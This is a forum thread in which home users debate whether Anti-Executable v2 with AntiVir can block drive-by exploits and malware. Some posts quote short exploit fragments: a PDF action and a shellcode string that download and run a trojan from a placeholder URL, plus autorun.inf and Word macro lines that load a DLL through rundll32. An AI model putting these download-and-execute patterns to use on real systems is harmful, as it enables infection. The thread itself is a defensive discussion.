What's The Chances On Busting Thru This?

Hypothetical question (if allowed) with no polling please.

What in your guys & gals opinions on malware, any malware bolt cutting thru a set up of AntiVir AV (Free/Premium) along with Anti-Executable v.2 (not 3), without use of IE as the Browser of choice?

Seems on the surface relatively rock solid to me, but i posed this question and fashioned it this way to exclude other apps like Returnil, Sandboxie, any HIPS, or Comodo, Prevx, and even Mamutu or your own favorite BB.

Anyone care to to take a shot at the percentages possibilities against malwares, viruses, rootkits, with just these two alone?

And many thanks as always for all your intuitive logical replies & opinions. I'm only presenting this hypothetically like this envisioning with this thread as though these were all we had to ward off forced intrusions of today's world, even 0-day ones. Any of your own AV can also be included for comparison sakes.

What's the chances you think? Or is it a no-brainer that with only these two mentioned, they could easily be studied, reveresed engineered and blowed over.

Thanks Again!

 

I can give you my general opinion. I no longer trust the antimalware scanner as a collective concept. All it takes is for that scanner, whatever it may be, to not have that particular defintion of to have it knocked picked up by hueristics and you're screwed. This is especially true if you have no other defense. Then, of course, there is the false positive threat. A malware scanner can do damage to your system that way without you ever having picked anything up. Nope. Not for me. I much prefer virtualization. Drop AE and pick up SBIE or Shadow Defender.

I would take no chances with my system. Probability says that more likely than not nothing will happen to you system because an AV will catch whatever threat there is. However, the chance exists that it will not. I never was a gambling man. If I were you I would go with something that needs no defition file, or constant updating. Virtualization is a way to eliminate all of that.

For the really overly-cautious, I'd suggest an imaging app.

 

If you go like that,you'll have to do something about registry(unless AE blocks all .reg , .key e.t.c ,but the v3 i have tried did not)

 

Thanks for your honest input n8chavez and virtualization in reality is more secure of course. This is just a hypothetical (pretend if you will) scenario scene that i deliberately included Faronic's Anti-Executable on the premise that if it's not whitelisted and exhibits any form of executable, it would supposedly be refused even before (maybe) an AV could even zero in on it.

I chose AE because Rmus has time and again brought to light and the forefront of how formidable for him that AE is proven to hold the upper hand against all sorts of exploits, and perhaps he may even join in this discussion since he is a very avid believer in AE and is tested it up against threats many times before with screenshots and commentary to support the trust he places in AE.

EASTER

 

It's a fact v3 is a letdown after v2, dunno what exactly went wrong unless it had something to do in the scramble to make it's code compatible for good ole Vista.

 

Easter,


Problem with an anti-executable is that more and more executable code is embedded in data. This is because object orientation and distributed processing will be applied more and more.

Another isue will be the revival of the 'lean PC' concept in the form of the "in the cloud computing". You won't have the programs or executable code on you PC anymore, in stead it will be hosted/provided in the network/web somewhere.

These trends are problably also the reason AE left the track of covering all possible executable code in V3.

I think the focus in future will be on a (small hardened and shielded OS-kernel, plus threat containment on possible foreign data+code entry gates, with a behavior monitoring on traffic and data access patterns. Off course filtering out most known malware will always be an way to deal with malware and heuristics will become smarter and smarter (because most malware is a variation of an older sample).

Antivir and AEv2 on an XP fully patched system (most is known of this old OS) will provide a very high protection level, but nothing is undefeatable in theory. Chances with current Vista32 bits and future Windows7 will be that you will not be intruded with a more or less average PC and internet behaviour (on your XP rig).

Cheers

Kees

 

Hi Easter,

Based on my extensive use of ProcessGuard free as an anti-executable then i would say that it is bullet proof as long as PEBKAC(end user-error) dose'nt occur

For quite some years now i have hunted malware infections via driveby downloads and always have had a HIBS onboard to slow down the infection process or just catch the initial exploit dropped executables.
My system is always running many known vulnerable softwares and is xp SP2+IE6 with no patch's applied just to maximise the attack surfaces for malware to penetrate

Truth is not all the time to i want to hit a url and get hosed,somedays i just want the initial exploit payloads inorder to study at later point in time.

In that i can safely say that no infection has ever gone native(sucessfully installed) on my computer without my consent.Sure exploits have always fired,vulnerable softwares have been invoked and files been written to disk etc but todate absolutely nothing has installed when any initial exploit delivered exe's caught by PG have been denied execution.

So far it is the big iron that has not been broken but of course once you grant execution to attack code then that is a whole new ballgame as we know

HTH

 

Hi Easter,

I assume you are referring to remote code execution exploits (aka drive-by).

I will echo fcukdat's remarks and add that no longer is just IE6 required:

MS09-002 exploit in the wild
http://isc.sans.org/diary.html?storyid=5884

Anyone who follows drive-by exploits knows that none in the wild that download malware executables target browsers other than unpatched IE. Rogue Winantivirus exploits don't fall into this category because these are not remote code execution exploits; rather, they require the victim to consent to install the product. And many do, no matter their browser.

With IE, people I know on other forums use IE without any worries because they know how to secure it, and they keep it patched. It's evident of course that everyone does not do this, but that is a user problem.

However, some drive-by exploits work no matter the browser: Flash and PDF exploits for example, where shellcode connects back out to download a binary executable. These have limited success, however, since they are dependent on vulnerable versions of those applications. A recent Flash exploit targets version 9 because version 10 is the latest and the exploit hoped to catch people who had not updated to v.10. In any case, any anti-execution product would successfully stop this typical code from doing anything:

Code:

....<< /Type /OpenAction
/S /URI
/URI (http://www.some_site.com/trojan.exe)

Since these exploits are version specific, I have never found a Flash or PDF exploit that would run on my system. Nonetheless, they would be easily stopped by anti-execution protection.

Can you give an example of an exploit in the wild to illustrate this?

I can think of several MSWord document examples in the past where a binary can be included as an OLE object. Here is one:

http://www.eweek.com/article2/0,1895,1965042,00.asp

Any anti-execution product will easily handle this type of exploit.

In these cases of drive-by exploits, your anti-execution protection is necessary only in case of something attacking an unpatched application as noted above.

I've used AE2 since its inception, and except in cases where I test known drive-by sites, I have never had an alert. I'm not advocating not using Anti-execution protection; rather, I'm just saying that drive-by exploits are much overly-hyped in my opinion for those who understand how they work and realize how easy it is to keep protected. The media, of course, love to sensationalize these exploits.

The Conficker worm is a good example. Millions of computers infected. This should be a non-threat for the home user.

Conficker.a exploits a vulnerability in the OS and requires entrance via an open port. Left unmentioned in any media article in the early days of this exploit is this statement in the MS08-067 security bulletin:

• Block TCP ports 139 and 445 at the firewall

Conficker.b attacks using Autorun.inf on a USB external media. Need anything be said as to preventative measures here?

In cases of both variants, no anti-execution protection product nor AV required. Again, I'm not advocating that anyone abandon these products, but just to point out one of many instances of a sensational exploit that should be already nullified by one's existing security strategy.

Instead of panicking, thoughtful security-minded people read carefully the bulletins and analyses of these exploits and find that existing security procedures and policies usually take care of the situation.

Here lies the more dangerous attack vector, IMO, where you consent to install something. You either

• trust your source
  
  
• trust your scanner

Conclusion

• Your Anti-Executable v.2 takes care of the remote code execution (drive-by) types of exploits that might take advantage of unpatched applications, until something different in the malware world surfaces. There was a long article last month with dire predictions about the sophistication and changes in new malware. I argued that nothing has changed in the attack methods, so it doesn't really matter what sophisticated routines the malware does once installed, if it can't install without your consent in the first place.
  
  
• When you consent to install something, Anti-Executable is turned off, and your AV may or may not alert to something malicious. For many, trusting the source has been as good an indication of a safe program as any.

Finally, if everyone reasoned this way and protected accordingly against both malware attack vectors, there would be no victims of malware infection, therefore people like fcukdat doing great analysis/detection/removal work behind the scenes would be out of a job for lack of business!

----
rich

 

Easter,

I will try to answer your initial question with a similar software combination (an anti-executable and an antivirus) that I know well. (I don't happen to know AE and Antivr.)

ASSUMING you operate Windows XP AND a router firewall, what would still be left wide open--I think--by that simple combination is mostly the Registry. The second serious hole is lack of outbound network monitoring. Specifically, a firewall capable of letting you authorize what goes out of your computer. An antiexecutable is not enough for that task. Third hole is lack of control over disk folders. Fourth hole is lack of protection of your key personal files through encryption or otherwise. But I will just deal with the first 2 holes.


I still use ProcessGuard (full version) when I can (even though it has not been supported since late 2006). I mention PG because it seems comparable to AntiExecutable. The full version of PG will not only control executable starts, it is very good at preventing driver installations and catching DLL injections and hooks. However, PG does not cover the registry. To be fair, tt was not designed for that either. Still, lots of things can quietly change the registry without PG noticing. So to leave the registry so wide open is a problem.

As to monitoring outbound traffic over the network, PG is not enough. Once you authorize PG to let a program execute, PG will not help you know what this program is trying to do on the network or which IP address it is seeking. A firewall (or anthing else you like) that specifically monitors exits to the network/Internet is key for that function. This facility is especially useful when you don't quite trust a program and you need to watch it closely. One is surprised to see some programs unexpectely asking to go to the Web, and yet you would have sworn this program was supposed to work only on the computer. Of course, if you authorize an Internet browser or mail client to run, you are basically authorizing access to the Internet. No mystery there. But I certainly don't run just these 2 types of software. Neither will PG inform you that authroized program X has now launched a DLL which is itself trying to get out. Once the executable is out of PG, it won't help you unless the executable is trying to hook, install a driver, or get into reserved memory space.

2. You mentioned Antivir. Assuming it does the usual antivirus stuffs, it would not help with registry monitoring either. Neither would it be catching network traffic unless the antivir sniffs a bad signature.



One way to protect the registry which is still close to a PG-type HIPS is to get something like COMODO Firewall with Defense+. I hear Online Armor offers a similar combination. I know Comodo intercepts many kinds of registry modification attempts (and many more system intrusions). Unfortunatly, I suspect COMODO of getting too fresh recently. It used to work alongside PG, but now (version 3.5.57173.439) I have to disable the Defence+ component to allow PG to function. Since I don't appreciate software that are so aggressive as to prevent stuffs from working without letting me know, I am planning to drop COMODO. PG retains my affection because it is so darn well written. While you can make it fairly aggressive (in the full version), it will still tell you exactly which program it just blocked from installing a driver or from hooking or from sniffing around reserved memory space. So you can always go back to authorize that operation later if you trust the program. Comodo lets you make a list of trusted programs, yet PG was screwed despite its presence on that list.

Besides COMODO, another good option for addressing the lack of registry protection would be be something like Prevx2. In expert mode, it watches for the registry quite a bit and lets you block modifications. It's well written and never locked horn with PG.

Conclusion. With the combination of a SPI-firewalled router, PG and NOD32, I addressd the biggest 2 shortcomings by adding Look'n'Stop (firewall) and Prevx2 (+safe browsing and no image downloads in Outlook Express). Nothing got in, according to all kinds of scans over the years. Now I rarely scan.

On another machine, I haven't put Prevx2 or PrevxEdge yet, because I would like to experiment with something else to protect the registry (besides I don't like the constant Internet chatter between Prevx and its headquarter servers in the UK). RegDefend by GhostSecurity seems to be the ultimate product for defending the registry (at least in XP), but I am a bit afraid of it. It used to give lots of crashes, according to the forum chatter. In addition, like with DiamondCS (PG) of which he was a part, Jason seems to be overworked or overwhelmend--whatever--and development/support is seriously lagging. Both forums were closed here at Wilders for lack of user interaction.

There is also a freeware that DiamondCS used to offer: Regprot. Good, light. Doesn't poll. But it only looks for software that try to start at boot time. Important but not enough.

So I am sitll looking for an excellent protection for the registry.

 

I'm not familiar enough with AE and its strengths/limtations to give anything more than an opinion. Does AE defend the registry autostart and its own autostart entries? What about services?

My concern with that setup would be the malicious usage of legitimate processes. If for instance rundll32.exe is an allowed process, does AE control or limit what DLLs it can run? I'm primarily an SSM user. I rely on limiting the parent-child settings to effectively isolate the internet apps and the user apps that open files/content from outside sources. If AE does not control parent-child settings or DLL injection, I'd question if it can prevent the malicious use of legitimate files.

 

This all assumes that some malware has gotten onto the computer and is attempting to make changes to the system, or connect out to the internet. An anti-executable program prevents any such intrusion of malware without your consent. That is all anti-execution protection does, as I and fcukdat noted in our posts above. If malware cannot install it cannot do any of the stuff you describe.

OK, but Monitoring trusted software doesn't seem relevant to Easter's topic about malware intruding.

When AE version 2 installs, it creates a White List of all executable files already installed on the computer.
Rundll32.exe is White Listed (trusted) but cannot load a DLL that is not White Listed.

I set up a test last month to demonstrate. First, using AutoRun.inf to load a non White Listed version of hmmapi.dll:

Code:

[autorun]
shellexecute=rundll32.exe hmmapi.dll,MailToProtocolHandler %1

​

And using a MSWord document with embedded AutoOpen macro:

Code:

Shell "rundll32.exe hmmapi.bkx,MailToProtocolHandler %1"

​

With AE2, no executable file not already installed on the computer can run without user's consent. Period.

----
rich

 

That's one possibility out of the way. Next question.

If all executables are whitelisted, what restriction does AE put in place to prevent a user app such as acorbat reader or MS word from running regedit, cmd.exe, or another legitimate executable that can be used maliciously?

 

Thanks Rmus and others with your entries to this discussion, much appreciated and i feel the points just can't be drove home enough seeing how something as simple as Conflickr is made such publicity which it has recently in not only it's percentage of infections but the almost elementary fashion it incorporates to create so much havoc on the unsuspecting, so thanks again.

On Faronic's AE 2 i am on the same page and to this very day have yet to find anything that bypassed it, expecially something on this level as Conflickr. The WHITE list of AE is a Modern Marvel of Innovation in my book. And Rmus with his many posts on it's security abilities coupled with screenshots for good evidence & measure bear that out time and again.

And is why i chose AE as one of the two hypothetical scenarios that can show evidence of it's proven past and present performance and security capabilities.

The AV was added as a by-product of the majority of PC users who's computer either always comes with one or the user chooses his own preference in that form of viral protection.

In analogy a more static type security you could describe as an ISR or Virtual System, Deep Freeze requires a reboot whereas AE simply is plain user-friendly in that the user can manually disable it long enough to add to it's GOOD WHITE LIST, then re-enable the protection again without a reboot.

It is as i said a work of modern marvel software engineering in that it uses a code search approach if i read it right which further enhances it's ability to determine what is allowed to what is not. But i didn't begin this topic to advertise AE or even any AV, but rather try to confirm that short of the LUA/SRP etc. approach, today there still remains special programs that can offer a user as much if not better safety against forced/unforced threats without really needing to Mix n Match a heap of different security wares only to change again when another exploit is been released prompting a loss in confidence to a user's chosen security set up.

And in all my studies over time, not taking anything away at all from many other great security apps like Returnil, SandboxIE, Prevx, HIPS, etc. a user doesn't have to forever be entwined in this endless loop of jumping from one app to another everytime a new exploit is bypassed their choice secuirty investment or for that matter, sacrifice performance for near 100% security.

But it all boils down to us in the final analysis, the fellow in the chair and how far he is willing to chance on a gamble, and from what i experienced so far from just this minature small dual of just two apps, not even the registry can be compromised so long as the user is willing to exercise some searching, in this case, with AE, in order to avoid being owned as they say or suffer disruption from the most elementary of malware to the more aggressive types.

EASTER

 

Interesting thread.

Does antivir and AE provide enough protection?

I don't know if you remember but this is why I created this thread late last year to find out if AE is sufficient.

Can malware infect your pc without executing?

[/url] https://www.wilderssecurity.com/showthread.php?t=222442&highlight=malware infect executing [/url]

Going by the replies on this old thread from what I understood is that it is possible for malicious code injection so the malware runs piggy backs on an existing process which is already trusted. So my limited technical understanding tells me that AE wouldn't provide any protection from this. is this true?

 

Good point arran

Maybe Rmus who is better familiar with AE could offer his own insight on this.

AS you're suggesting, let's say a malware bypasses the AV first, that's #1, then it proceeds to inject it's disruption/malware code via dll or whatever type into a process not already listed in AE's WHITELIST, because i am confident once any process or executable is accepted in AE's WHITELIST, any tampering with that particular file would be straightway DENIED due to AE's manner in which it categorizes it's SAFE LIST.

On the part of a non-whitelisted program, it's a surety that any program is fully exposed which is not WHITELISTED and such a vulnerable, hence if the AV can't or doesn't catch the entry, that executable would be infected effectively if i read you right, but then remember again though, if ALL your system is been AE scanned first and is indeed clean it is placed under the protection of AE as it was designed to do, so then that being the case, that program if pressed on by the pointer would be immediately alerted on and denied by AE simply because it's not been added to the WHITELIST and infected or not, is reguarded as not acceptable to launch period.

EASTER

 

I can only confirm AE2's protection from the exploits I've tested and from my own tests to simulate a known exploit (conficker uses rundll32 to load a malicious DLL, hence, my benign DLL test)

If you two can give examples of exploits that do what you sugggest, an answer can be given once they are tested. Otherwise, from my point of view, they remain in the category of hypotheticals.

One thing to keep in mind: AE2's sole purpose in life is to prevent any binary executable not already installed from running. If you are concerned you might be tricked into running a malicious VB script file, for example, then you need something else in place to protect.

Another consideration is shell code inside other files. A classic example is the Windows Media File (WMF) exploit from 2005. Running a malicious file with embedded shell code called out to download a trojan.

Code:

iframe src="wmf_exp.wmf" iframe

Code:

urlmon.dll_URLDownloadToFileA_WinExec_http://...../ioo.exe

___________________________________________________________

This was true zero-day and it was a week or more before Microsoft issued a patch. Anyone with anti-execution prevention was protected.

In another forum it was shown that the shell code could do other things, and someone made a test.wmf file which started the windows calculator.

Shell Code in any exploit can pretty much do anything it wants to. So why do all of the exploits in the wild download a trojan? Why don't they delete your photographs of Aunt Minny? Or mess up your Registry?

The answer should be obvious: How will malware writers make any money in that? Not a single instance of a payload other than downloading a trojan ever surfaced during the life of the WMF exploit. Nor have any such instances occured in PDF and SWF file exploits, all of which use shell code to trigger the payload.

However, if this is a concern to you, then some protection other than anti-execution prevention is needed.

Some time ago Eric Albert set up a neat test that deleted all executable files in C:\Windows to show that those of us with a reboot-to-restore product didn't have to worry about that. Actually, I had to disable AE2 to run the test because it's Delete protection prevents any executable from being deleted:



But it was an fun test! Not very relevant in the real world, but fun to play with.

What Easter has proposed is the question of any "malware bolt cutting thru a set up." I take that to mean known malware exploits.

I know I'm in a minority here, but I deal with known exploits rather than hypotheticals. Otherwise I would be a nervous wreck and spend all of my spare time in this anti-malware software forum trying products attempting to cover everything that people think of that might happen.

If I find an exploit which would bypass my security, then I would take actions appropriately. It might not necessarily mean acquiring another product.

That is because another consideration, outside of the scope of this topic, is one's security strategy, policies, and procedures. There is more to security than products, as I'm sure you would agree. Many in-the-wild exploits would fail on my system and for any one I've helped because of other things in place: email procedures, autorun prevention, policies such as never installing something you didn't go looking for, etc, etc.

A good example is the conficker exploit I mentioned in an above post: it goes nowhere on a system with a firewall and firm policies regarding autorun. No other product necessary.

That's why I stress reading security bulletins and keeping up with the known exploits in the wild.

----
rich

 

Thanks Rmus for your commentary and sharing your experiences.

This is Off-Topic but just to show how silly IMO and elementary the Conflickr exploit really is. If you happen to have a HIPS, in my case i added a simple rule in EQS to either allow/reject the running of RunDll32 in XP in the System32 folder under the BlackList Section, and actually ran the REAL exploit. It was alerted immediately that RunDLL was issuing a command to run that vmz file and with a simple DENY command in the prompt, ended that attempt easy.

I've done the same with system file protection on Regsvr32 with a old dll named bxss.dll for anyone who remembers it used to be part of the old Booked Space exploit. Odd thing for me was that just clicking only on the bxss.dll started a whole range of motions such as at the time i was using SSM it immediately registered itself and proceeded to enter the registry in the RUN section so often that the SSM alerted every 1 to 2 seconds that it was trying to add itself as well as add a BHO, so rapidly it was running amuck that i thought for sure it was going to eventually overcome SSM's ability to block it at some point.

In EQS with the Regsvr32 rule i can click on this same notorious old nusance now and once i get an alert i not only request to dismiss it but also terminate it completely. I could set a rule to auto-reject it but Regsvr needs to register legit apps i try out sometimes. I check the registry just to make sure, and sure enough nothing is been added by this junkware relic

EASTER

 

Rmus,

Your quote,

"An anti-executable program prevents any such intrusion of malware WITHOUT YOUR CONSENT."

exudes unwarranted over-confidence in:

1. A 1-TRICK PONY SECURITY STRATEGY. Obviously, there is no need for a "heap" of security software. That would be an extreme. But it's an other extreme to cling to a single execution-control software as a sufficient security solution. Don't get me wrong: I love "anti-execution" software. My post evidenced it. PG, Prevx, COMODO, SSM all share execution control. But I am surprised that in this late day we'd still be debating the multilayered approach. Is it 3, 5, or n layers? It's a matter of knowledge and aversion to risk. But either 1 layer or 100 layers obviously seem extreme.

2. USER CONSENT. Too big a deal is made about USER CONSENT. No one is smart enough always to know what the right CONSENT is. User consent is a sieve. The more saavy we are, the finer the holes of the sieve. That's all. The perfect user does not exist. The most competent programmer/computer scientist you can think of won't know for sure what each of the hundreds of thousands of files in his computer is exactly doing. Maybe he could, if he devotes the rest of his life to decompiling the millions of lines of code. Would he still understand what every file does and how to map their interconnections? I have my doubts, given the thousands of DLLs, obscure--if not hidden--registry entries, encrypted folders here and there, etc.) But no one with such competence would ever waste his life in such drudgery anyway. Instead, he would educate himself, use common sense, look for reputable developers, and use a few good security tools t0 help him monitor some critical things. He would then TRIANGULATE those things quickly to arrive at a swift but (still) a PROBABILISTIC conclusion about whether to trust this or that software.

And let's not forget that life is not black or white. We don't only run Steve Gibson-type software. Sometimes we try software, and the trial itself is risky because we attempt to balance the advertized allure of the software against our dearth of information on what it actually does. This means we CONSENT to execute software while we don't quite know what we are doing. To have other security layers that help us assess the consequences of clicking YES is mightily useful.


Rather than feel cocky about the high quality of USER CONSENT, let's give thanks to the majority of trustworthy programmers out there who make our lives easy by making the few bad software stand out so that we have a good chance to stop them. Those programmers, more than anything else, make us users so confident about the quality of our "USER CONSENT". If it was not for them, using any antiexec software would be hell.

 

I have Mail on the cloud ... from my Internet provider.

Pigitus: SystemShield from usec.at: http://www.usec.at/ushields.html - an excellent protection for the Registry.

And light: 1924 Kb + 436 Kb = 2460 Kb in Task Manager.

 

Old exploits like WMF and XXE.

But Rich we had this discussion before.

Remember: I once got many angry replies of HIPS fans when I stated that trying to manage all the attack vectors is fake security. It is simply impossible or undoable (performance wise).

I argued that a HIPS trying to max out one one attack vector like AntiExecutable provided better security with a smaller managed attack surface, than others claiming a larger protection domain with lower in depth coverage of one attack vector (in common language: IMO, AE was safer than SSM or AntiHook or Appdefend at that time).

Although my knowledge is old and rusty, I know from practise (25 years ago I was a database/network security specialist at a large bank). My best practise at that time:
1) Reduce the attack surface
2) Policy management
3) Focus on one aspect in the intrusion chain/flow of events, try to cover tt to the max.


We agree for a fair part so let's agree to disagree on the remaining part.

I am interested in your explanation why AE V3 differs so much from V2?

Cheers Kees

 

That wasn't my intention. Look at Easter's signature. He's not implying that he uses a single solution. My take on his question was how likely some remote code execution exploit would get by AE2 to deliver "malwares, viruses, rootkits." My answer is that I have not seen any that would. If something does, then a change in strategy will be necessary.

User consent was mentioned by fcukdat and echoed by me to separate it from the remote code execution exploit. I emphasized that once a user decides to install something, execution protection is disabled and is thus out of the picture.

The perils of what might happen when someone consents to install something is a completely different topic unrelated to what Easter has proposed, and deserves discussion in another thread.

Please see this discussion in another thread:

https://www.wilderssecurity.com/showthread.php?t=231799

----
rich

 

Is a pity because i cant help feeling that folks are getting there wires crossed subsequently replying to a question that was never asked tends to dilute the discussion and flow of pertinent information.


I will state this that also i am not advocating anti-exe as a standalone security solution.We all agree that layered approach and a proactive monitoring/education of end user is the best way someone can learn to make their computing habits far more safer

I have seen this happen many times during an infection process,the only problem being is the trusted system file is not the first executable file in the infection chain of events to run.So to me this is a moot point and invalid arguement.

I have made this challenge for sometime now before and will continue doing so until someone proves me wrong and provides a working example...

Bring to the forum any exploit laced URL that will attack my deliberately holier than swiss cheese setup+PG so when i reboot there is an active malware infection installed.
Only one proviso is that i am allowed of course to deny all non whitelisted exe's attempting to be loaded into memory at point of capture by PG.

 

Regarding the .wmf problem, add stuff like this to your hosts file.

.com.dll
.org.dll
.info.wmf

This is far from perfect, but it does help. Add also the hacker port ids given you by your FW.

One in good health could do very,very much to improve this setup.

Back to the big picture, and gaining control of our pcs, ask the questions:

What allows a dll to run?
What allows a sys to run?
Etc.

And:

How can one gain complete control over an OS by securing the routes of attack, of which there really ain't that many, as the AV vendors are finding.

Dave

 

What i was trying to say before was my concern is if you download movie, excel
or jpg file with a malicous code embedded in it and you open the file and the code does its dirty work ie sends message and code injection to other running processes and terminates other processes. Does AE2 Prevent this and protects other prosesses from being terminated?

Rmus Also can you try this reg test ?

http://www.ghostsecurity.com/registrytest/

which seems to be able to communicate outside of sandboxie.
http://www.sandboxie.com/phpbb/viewtopic.php?t=4665&sid=fbde70043cef5ae70df6015d9fed6685

of course you would have to give it permission to run in the first place, but just want to see if AE2 can prevent other apps from being terminated and system shut down.

 

I can't even extract it because it is not White Listed:



Looking at the Readme file, I can say that AE2 cannot do what you ask. Again, execution prevention's sole purpose is to prevent unauthorized executables from running in the first place, thus nullifying any further action: terminations/injections, etc.

From my perspective, the RegTest is similar to the firewall leaktests, where in the case of my Kerio 2, they would prove that poor little Kerio can't do what it wasn't designed to do in the first place.

In both cases, you have to permit an executable simulating a malware executable to run, which would be blocked in a real world exploit, so what is gained? My sentiments on this are those of fcukdat, "So to me this is a moot point and invalid arguement."

Let's take the current MS09-002 vulnerability against IE7 (patched on Feb.11). The first exploit seen in the wild came with code embedded in MSWord document. Say what? How can MSWord exploit IE? But it does. So here you have two trusted applications that interact to

• install a backdoor as a DLL (winnet.dll) to &System%
  
  
• collect personal data
  
  
• create two Registry Keys (a la your RegTest)
  
  
• create a hidden window of Internet Explorer which connects to another web site

The exploit uses the document as XML with code that references mshtml.dll which features Internet Explorer’s HTML rendering engine. So MSWord is actually triggering the call out to a web site to download the malware. The exploit fails at this point with anti-execution protection. The executable cannot install/run. None of the above actions can take place.

Actually it should fail for two other reasons: it arrives as an email attachment, and the exploit is already patched.

Newer variants of this exploit have been seen as malware downloaded directly by visiting a web site using IE7. MSWord is not involved here. But the same protection will block it.

If you are concerned that malware may intrude and permit other apps being terminated and system shut down, etc, you need to get a different type of product other than execution prevention for that type of protection. Again, this is outside the parameters that Easter is using in his question.

----
rich